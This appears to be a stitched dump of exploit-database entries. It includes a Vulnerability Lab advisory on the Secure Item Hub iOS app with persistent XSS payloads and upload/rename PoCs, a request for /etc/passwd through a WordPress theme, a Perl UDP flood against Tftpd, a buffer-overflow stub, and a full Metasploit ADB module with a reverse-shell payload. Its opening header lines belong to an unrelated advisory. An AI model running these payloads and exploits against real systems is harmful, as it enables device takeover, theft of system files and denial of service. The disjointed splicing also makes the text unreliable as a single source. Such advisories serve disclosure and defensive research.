→ January 14, 2015 – Bug discovered, initial report to Vendor
→ January 14, 2015 – Vendor acknowledged
→ January 19, 2015 – Vendor Deployed a Patch
#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com #
#######################################
Pub Ref:
https://0x62626262.wordpress.com/2016/01/27/bk-mobile-cms-sqli-and-xss-vulnerability
http://codecanyon.net/item/jquery-mobile-website-with-full-admin-panel/2441358
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
Document Title:
===============
Secure Item Hub v1.0 iOS - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1682
Release Date:
=============
2016-01-27
Vulnerability Laboratory ID (VL-ID):
====================================
1682
Common Vulnerability Scoring System:
====================================
7.3
Product & Service Introduction:
===============================
Transfer files to and from any computer connected to the same WiFi network as your iPhone or iPad using just a web browser! Just drag and drop
files into the browser (requires a current version of Chrome, Firefox or Safari) and watch the files appear on your device. You can also connect
to other iOS devices that have the Secure Item Hub app and transfer files directly between devices!
(Copy of the Homepage: https://itunes.apple.com/in/app/secure-item-hub-wifi-file/id537353277 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application.
Vulnerability Disclosure Timeline:
==================================
2016-01-27: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Pinfolio LLC
Product: Secure Item Hub - WiFi File Sharing 1.0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
An arbitrary file upload web vulnerability has been discovered in the Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application.
The arbitrary file upload web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path
commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `Upload` module. Remote attackers are able to inject own files with malicious `filename`
values in the `Upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index file dir
listing and sub folders of the wifi interface. The attacker is able to inject the lfi payload by usage of the wifi interface or the local file sync function.
The attacker can also attach multiple file extensions to bypass the web-server file validation to execute a malicious web-shell finally. Remote attackers can
exchange the filename with a double or tripple extension via POST method to bypass the upload validation and filter process. After the upload the attacker access
the file with one extension and exchange it with the other one to execute for example own php codes.
Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious attack requests.
The attack vector is located on the application-side of the wifi service and the request method to inject is POST.
The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.7.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload
[+] Rename
Vulnerable Parameter(s):
[+] filename
[+] pairs
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8000/)
1.2
A local command/path injection web vulnerabilities has been discovered in the official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application.
The vulnerability allows attackers to inject local commands via vulnerable system values to compromise the apple mobile iOS application.
The vulnerability is located in the vulnerable `devicename` value that becomes visible in the `file dir (index)` module. Local attackers are able to inject own
malicious system specific commands or path value requests in the vulnerable `devicename` value. The execution of the local command inject occurs in the `index`
module of the mobile application. The attacker is able to manipulate the header name information of the application by preparing to change the local devicename.
The encoding of the vulnerable values in the index header module is broken.
The attack vector is on the application-side and the injection requires physical device access or a local low privileged user account. Local attackers are also
able to exploit the filename validation issue in combination with persistent injected script codes to execute different local malicious attacks requests.
The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 6.1.
Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted access and no user interaction.
Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to
compromise the mobile iOS application or the connected device components.
Request Method(s):
[+] [SYNC]
Vulnerable Module(s):
[+] Header Location - Web Application
Vulnerable Parameter(s):
[+] devicename (HierarchyText)
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8000/)
1.3
A persistent input validation web vulnerability has been discovered in the official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application.
The vulnerability allows remote attacker to inject malicious persistent script codes to the application-side of the mobile application.
The vulnerability is located in the path and name (class) values of the `New Folder` and `NewTextFile` modules. The request method to inject is POST and
the attack vector is located on the application-side of the mobile app. Remote attackers are able to inject via POST own malicious script codes to compromise
the wifi web-application index file dir listing. The validation and encoding of the `New Folder` and `NewTextFile` modules are broken and allows to inject
malicious persistent script codes.
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the application-side web vulnerability requires no privileged web-application user account and only low or medium user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing, session hijacking, persistent external redirect to malicious
sources and application-side manipulation of affected or connected module context.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] NewTextFile
[+] New Folder
Vulnerable Parameter(s):
[+] path
[+] name (class)
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8000/)
Proof of Concept (PoC):
=======================
1.1
The arbitrary file upload web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC:
<tr><td width="20"> </td><td width="50"><input id="checkbox_0" type="checkbox"></td><td valign="top" width="70">
<a href=">"><iframe>.png" target="_blank"><img border=0 class=thumbnail src=">"><iframe>.png"></a></td><td valign=top><div>
<a target="_blank" class=DirectoryListingLink href="[ARBITRARY FILE UPLOAD VULNERABILITY!].png</a></div><div style="padding-top:5px;"
class="SmallText">PNG Image | 538 bytes | modified Mo., 25. Jan., 10:44<BR>
<span class=SmallTextButton onclick="renameItem(0);">Rename</span></div></td></tr></table></div></div>
-- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/Files// Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[156] Mime Type[text/html]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/Files/]
Content-Length[722]
Content-Type[multipart/form-data; boundary=---------------------------32641154472465]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------32641154472465
Content-Disposition: form-data; name="file"; filename="[ARBITRARY FILE UPLOAD VULNERABILITY!].png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/Files/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[7148] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Content-Length[7148]
Date[Mon, 25 Jan 2016 09:42:53 GMT]
Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
POST http://localhost:8080/API/MoveItems Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
Referer[http://localhost:8080/Files/]
Content-Length[39]
Connection[keep-alive]
POST-Daten:
pairs[2.png%09%3E%22%3E%3Ciframe%3E.png]
Response Header:
Content-Length[2]
Date[Mon, 25 Jan 2016 09:45:16 GMT]
Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
GET http://localhost:8080/Files/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[7198] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Content-Length[7198]
Date[Mon, 25 Jan 2016 09:45:18 GMT]
Server[Pinfolio (modified lighttpd)]
1.2
The local command inject web vulnerability can be exploited by local attackers with local privileged system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Index - Header Information (Web-Application)
<title>Files</title>
</head><body>
<table border=0 cellpadding=0 cellspacing=0 style="width:100%;margin-top:40px;">
<tr>
<td width=65> </td>
<td valign=top>
<div class="HierarchyText">
<a href="/" class="HierarchyText"><b>ktest2 "><[COMMAND INJECT VULNERABILITY!]"></b></a> >
<span id="hierarchy"></span>
</div>
<div id="title" class="Title" style="padding-top:8px;padding-bottom:30px;">Files</div>
</td>
<td width=200 align=right valign=top>
<div id="signOutButtonArea" style="padding-top:20px;">
<span onclick="signOut();" style="cursor:pointer;">Sign Out</span>
</div>
</td>
<td width=65> </td>
</tr>
</table>
--- PoC Session Logs [GET]---
GET http://localhost:8080/Files/ Load Flags[LOAD_FROM_CACHE VALIDATE_NEVER LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[unbekannt]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
1.3
The persistent input validation web vulnerabilities can be exploited by remote attackers without local privileged web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: NewTextFile
<tr><td width="20"> </td><td width="50"><input id="checkbox_0" type="checkbox"></td><td valign="top" width="70">
<div style="padding-top:5px;"><img src="/Resources/img/folder-icon.png"></div></td><td valign="top"><div><a target="_self"
class="DirectoryListingLink" href=""><iframe src="a" onload="alert("PENTEST")" <"="[PERSISTENT INEJCTED SCRIPT CODE!]">"><iframe src=a onload=alert("PENTEST") <</a></div>
<div style="padding-top:5px;"><span class=SmallTextButton onclick="renameItem(0);">Rename</span></div></td></tr></table></div>
PoC: NewTextFile
PoC: Folder
<td valign="top"><div><a target="_self" class="DirectoryListingLink" href="<h>xxs link
<a>[PERSISTENT INEJCTED SCRIPT CODE!]<img src=" c"="" onerror="alert(document.domain)">"><h>xxs link</h></a><a><img src="c" onerror="alert(document.cookie)"></a></div>
<div style="padding-top:5px;"><span class="SmallTextButton" onclick="renameItem(0);">Rename</span></div></td>
--- PoC Session Logs [POST]---
Status: 200[OK]
GET http://localhost:8080/Files/c[PERSISTENT SCRIPT CODE EXECUTION!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[345] Mime Type[text/html]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/Files/]
Connection[keep-alive]
Response Header:
Content-Type[text/html]
Content-Length[345]
Date[Mon, 25 Jan 2016 09:54:49 GMT]
Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
POST http://localhost:8080/API/NewTextFile Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
Referer[http://localhost:8080/Files/]
Content-Length[56]
Connection[keep-alive]
POST-Daten:
path[%22%3E%3Cimg%3E%2520%22%3C[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]%20src%3D%22c%22%3E]
Response Header:
Content-Length[2]
Date[Mon, 25 Jan 2016 09:54:55 GMT]
Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
GET http://localhost:8080/Files/ Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[9636] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/Files/]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Content-Length[9636]
Date[Mon, 25 Jan 2016 09:54:55 GMT]
Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
POST http://localhost:8080/API/CreateFolder Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[23] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
Referer[http://localhost:8080/Files/]
Content-Length[56]
Connection[keep-alive]
POST-Daten:
path[%22%3E%3Cimg%3E%2520%22%3C[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]%20src%3D%22c%22%3E]
Response Header:
Content-Length[23]
Date[Mon, 25 Jan 2016 09:55:00 GMT]
Server[Pinfolio (modified lighttpd)]
-
Status: 200[OK]
GET http://localhost:8080/Files/c[PERSISTENT SCRIPT CODE EXECUTION!] Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[345] Mime Type[text/html]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/Files/]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Content-Type[text/html]
Content-Length[345]
Date[Mon, 25 Jan 2016 09:55:02 GMT]
Server[Pinfolio (modified lighttpd)]
Solution - Fix & Patch:
=======================
1.1
The arbitrary file upload vulnerability can be patched by a secure parse and validation of the filename value in the upload POST method request.
Restrict the input and disallow special chars or script code tags to prevent an attack. Disallow usage of multiple file extensions and approve them as well.
1.2
The local command inject vulnerability can be patched by a secure parse and encode of the header location in the file dir listing index, were the devicename is displayed.
1.3
The persistent input validation web vulnerability can be patched by a secure encode and parse of the `path` and `name (class)` values in
the `NewTextFile` or `New Folder` modules. Disallow usage of special chars on input to prevent persistent script code injection attacks.
Encode the index output values to prevent the execution point of the issue.
Security Risk:
==============
1.1
The security risk of the arbitrary file upload web vulnerability in the filename value on upload is estimated as high. (CVSS 7.3)
1.2
The local command inject web vulnerability in the device name value is estimated as medium. (CVSS 6.1)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
source: https://www.securityfocus.com/bid/68022/info
Yealink VoIP Phones are prone to an HTTP-response-splitting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
Yealink VoIP Phones firmware 28.72.0.2 and hardware 28.2.0.128.0.0.0 are vulnerable; other versions may also be affected.
GET /servlet?linepage=1&model=%0d%0a[Header]&p=dsskey&q=load
source: https://www.securityfocus.com/bid/67935/info
The Elegance theme for WordPress is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.
Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.
<html>
<body>
<form action="http://www.site.com/wp-content/themes/elegance/lib/scripts/dl-skin.php" method="post">
Download:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
<input type="submit">
</form>
</body>
</html>
source: https://www.securityfocus.com/bid/67481/info
Wiser is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.
An attacker can exploit this issue to download backup files that contain sensitive information. Information harvested may aid in launching further attacks.
Wiser 2.10 is vulnerable; other versions may also be affected.
http://www.example.com/voip/sipserver/class/baixarBackup.php
source: https://www.securityfocus.com/bid/67404/info
Tftpd32 and Tftpd64 are prone to denial-of-service vulnerabilities.
An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, code-execution may be possible; however this has not been confirmed.
The following products are vulnerable:
Tftpd32 4.5
Tftpd64 4.5
#!/usr/bin/perl -w
use IO::Socket;
for (my $j = 0; $j < 2; $j++)
{
sleep(2);
for (my $i = 0; $i < 1500; $i++)
{
$st_socket = IO::Socket::INET->new(Proto=>'udp',
PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error";
$p_c_buffer = "\x0c\x0d" x 10;
print $st_socket $p_c_buffer;
close($st_socket);
print "sent " . $i . "\n";
}
}
exit;
#####################################################################################
Application: Foxit Reader PDF Parsing Memory Corruption
Platforms: Windows
Versions: 7.2.8.1124 and earlier
Author: Francis Provencher of COSIG
Website: http://www.protekresearchlab.com/
Twitter: @COSIG_
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) POC
#####################################################################################
===============
1) Introduction
===============
Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files.[3] Early versions of Foxit Reader were notable for startup performance and small file size.[citation needed] Foxit has been compared favorably toAdobe Reader.[4][5][6] The Windows version allows annotating and saving unfinished PDF forms, FDF import/export, converting to text, highlighting and drawing.
(http://en.wikipedia.org/wiki/Foxit_Reader)
#####################################################################################
============================
2) Report Timeline
============================
2015-12-18: Francis Provencher from Protek Research Lab’s found the issue;
2016-01-02: Foxit Security Response Team confirmed the issue;
2016-01-21: Foxit fixed the issue;
#####################################################################################
============================
3) Technical details
============================
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
A specially crafted PDF can force a dangling pointer to be reused after it has been freed. An attacker can leverage this vulnerability
to execute arbitrary code under the context of the current process.
#####################################################################################
===========
4) POC
===========
http://protekresearchlab.com/exploits/COSIG-2016-02.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39330.zip
###############################################################################
source: https://www.securityfocus.com/bid/67076/info
InfraRecorder is prone a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.
Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts likely result in denial-of-service conditions.
InfraRecorder 0.53 is vulnerable; other versions may also be affected.
#!/usr/bin/python
# Exploit Title: InfraRecorder Unicode Buffer Overflow
# Version: version 0.53
# Download: http://sourceforge.net/projects/infrarecorder/files/InfraRecorder/0.53/ir053.exe/download
# Tested on: Windows XP sp2
# Exploit Author: Osanda Malith
'''
We can overwrite the nseh and seh handlers. If you find a valid unicode ppr address
you can build a successful exploit.
'''
'''
Click Edit -> Import -> import our buffer
'''
junk = "A"*262
nseh = "BB"
seh = "CC"
junk2 = "D"*20000
file=open("Exploit.m3u","w")
file.write(junk)
file.close()
#EOF
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/adb'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Android ADB Debug Server Remote Payload Execution',
'Description' => %q{
Writes and spawns a native payload on an android device that is listening
for adb debug messages.
},
'Author' => ['joev'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
'Targets' => [
['armle', {'Arch' => ARCH_ARMLE}],
['x86', {'Arch' => ARCH_X86}],
['x64', {'Arch' => ARCH_X86_64}],
['mipsle', {'Arch' => ARCH_MIPSLE}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2016'
))
register_options([
Opt::RPORT(5555),
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
], self.class)
end
def check
setup_adb_connection do
device_info = @adb_client.connect.data
print_good "Detected device:\n#{device_info}"
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts)
response = @adb_client.exec_cmd(cmd)
print_good "Command executed, response:\n #{response}"
end
def exploit
setup_adb_connection do
device_data = @adb_client.connect
print_good "Connected to device:\n#{device_data.data}"
execute_cmdstager({
flavor: :echo,
enc_format: :octal,
prefix: '\\\\0',
temp: datastore['WritableDir'],
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
background: true,
nodelete: true
})
end
end
def setup_adb_connection(&blk)
begin
print_status "Connecting to device..."
connect
@adb_client = Rex::Proto::ADB::Client.new(sock)
blk.call
ensure
disconnect
end
end
end
Source: https://code.google.com/p/google-security-research/issues/detail?id=659
The following crash due to a heap-based out-of-bounds read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):
--- cut ---
==6953==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fdbb5647800 at pc 0x7fdd101b5365 bp 0x7ffee2b92610 sp 0x7ffee2b92608
READ of size 1 at 0x7fdbb5647800 thread T0
#0 0x7fdd101b5364 in dissect_ber_constrained_bitstring wireshark/epan/dissectors/packet-ber.c:3990:17
#1 0x7fdd101b5a56 in dissect_ber_bitstring wireshark/epan/dissectors/packet-ber.c:4016:10
#2 0x7fdd1277c345 in dissect_ns_cert_exts_CertType wireshark/epan/dissectors/../../asn1/ns_cert_exts/packet-ns_cert_exts-fn.c:93:12
#3 0x7fdd1277b3fe in dissect_CertType_PDU wireshark/epan/dissectors/../../asn1/ns_cert_exts/packet-ns_cert_exts-fn.c:155:12
#4 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#5 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#6 0x7fdd0fcba02d in dissector_try_string wireshark/epan/packet.c:1443:9
#7 0x7fdd1019276b in call_ber_oid_callback wireshark/epan/dissectors/packet-ber.c:1096:17
#8 0x7fdd12bd0192 in dissect_x509af_T_extnValue wireshark/epan/dissectors/../../asn1/x509af/x509af.cnf:138:10
#9 0x7fdd101a1d4a in dissect_ber_sequence wireshark/epan/dissectors/packet-ber.c:2400:17
#10 0x7fdd12bcd47d in dissect_x509af_Extension wireshark/epan/dissectors/../../asn1/x509af/x509af.cnf:155:12
#11 0x7fdd101ae695 in dissect_ber_sq_of wireshark/epan/dissectors/packet-ber.c:3490:9
#12 0x7fdd101aea3b in dissect_ber_sequence_of wireshark/epan/dissectors/packet-ber.c:3521:12
#13 0x7fdd12bcd52d in dissect_x509af_Extensions wireshark/epan/dissectors/../../asn1/x509af/x509af.cnf:168:12
#14 0x7fdd101a1d4a in dissect_ber_sequence wireshark/epan/dissectors/packet-ber.c:2400:17
#15 0x7fdd12bd02af in dissect_x509af_T_signedCertificate wireshark/epan/dissectors/../../asn1/x509af/x509af.cnf:191:12
#16 0x7fdd101a1d4a in dissect_ber_sequence wireshark/epan/dissectors/packet-ber.c:2400:17
#17 0x7fdd12bcd5dd in dissect_x509af_Certificate wireshark/epan/dissectors/../../asn1/x509af/x509af.cnf:218:12
#18 0x7fdd11c08b83 in ssl_dissect_hnd_cert wireshark/epan/dissectors/packet-ssl-utils.c:5958:21
#19 0x7fdd11c21752 in dissect_ssl3_handshake wireshark/epan/dissectors/packet-ssl.c:1930:17
#20 0x7fdd11c1a71b in dissect_ssl3_record wireshark/epan/dissectors/packet-ssl.c:1619:13
#21 0x7fdd11c14e12 in dissect_ssl wireshark/epan/dissectors/packet-ssl.c:723:26
#22 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#23 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#24 0x7fdd0fcb7dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
#25 0x7fdd11c697d0 in decode_tcp_ports wireshark/epan/dissectors/packet-tcp.c:4610:9
#26 0x7fdd11c6f043 in process_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4668:13
#27 0x7fdd11c6bbed in desegment_tcp wireshark/epan/dissectors/packet-tcp.c:2260:9
#28 0x7fdd11c6a24e in dissect_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4735:9
#29 0x7fdd11c7f7a3 in dissect_tcp wireshark/epan/dissectors/packet-tcp.c:5575:13
#30 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#31 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#32 0x7fdd0fcb7dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
#33 0x7fdd10dc588b in ip_try_dissect wireshark/epan/dissectors/packet-ip.c:2001:7
#34 0x7fdd10dd02b9 in dissect_ip_v4 wireshark/epan/dissectors/packet-ip.c:2485:10
#35 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#36 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#37 0x7fdd0fcb7dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
#38 0x7fdd0fcb8964 in dissector_try_uint wireshark/epan/packet.c:1174:9
#39 0x7fdd108d748d in dissect_ethertype wireshark/epan/dissectors/packet-ethertype.c:307:21
#40 0x7fdd0fcc5cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#41 0x7fdd0fcb85ea in call_dissector_work wireshark/epan/packet.c:691:9
#42 0x7fdd0fcc22be in call_dissector_only wireshark/epan/packet.c:2662:8
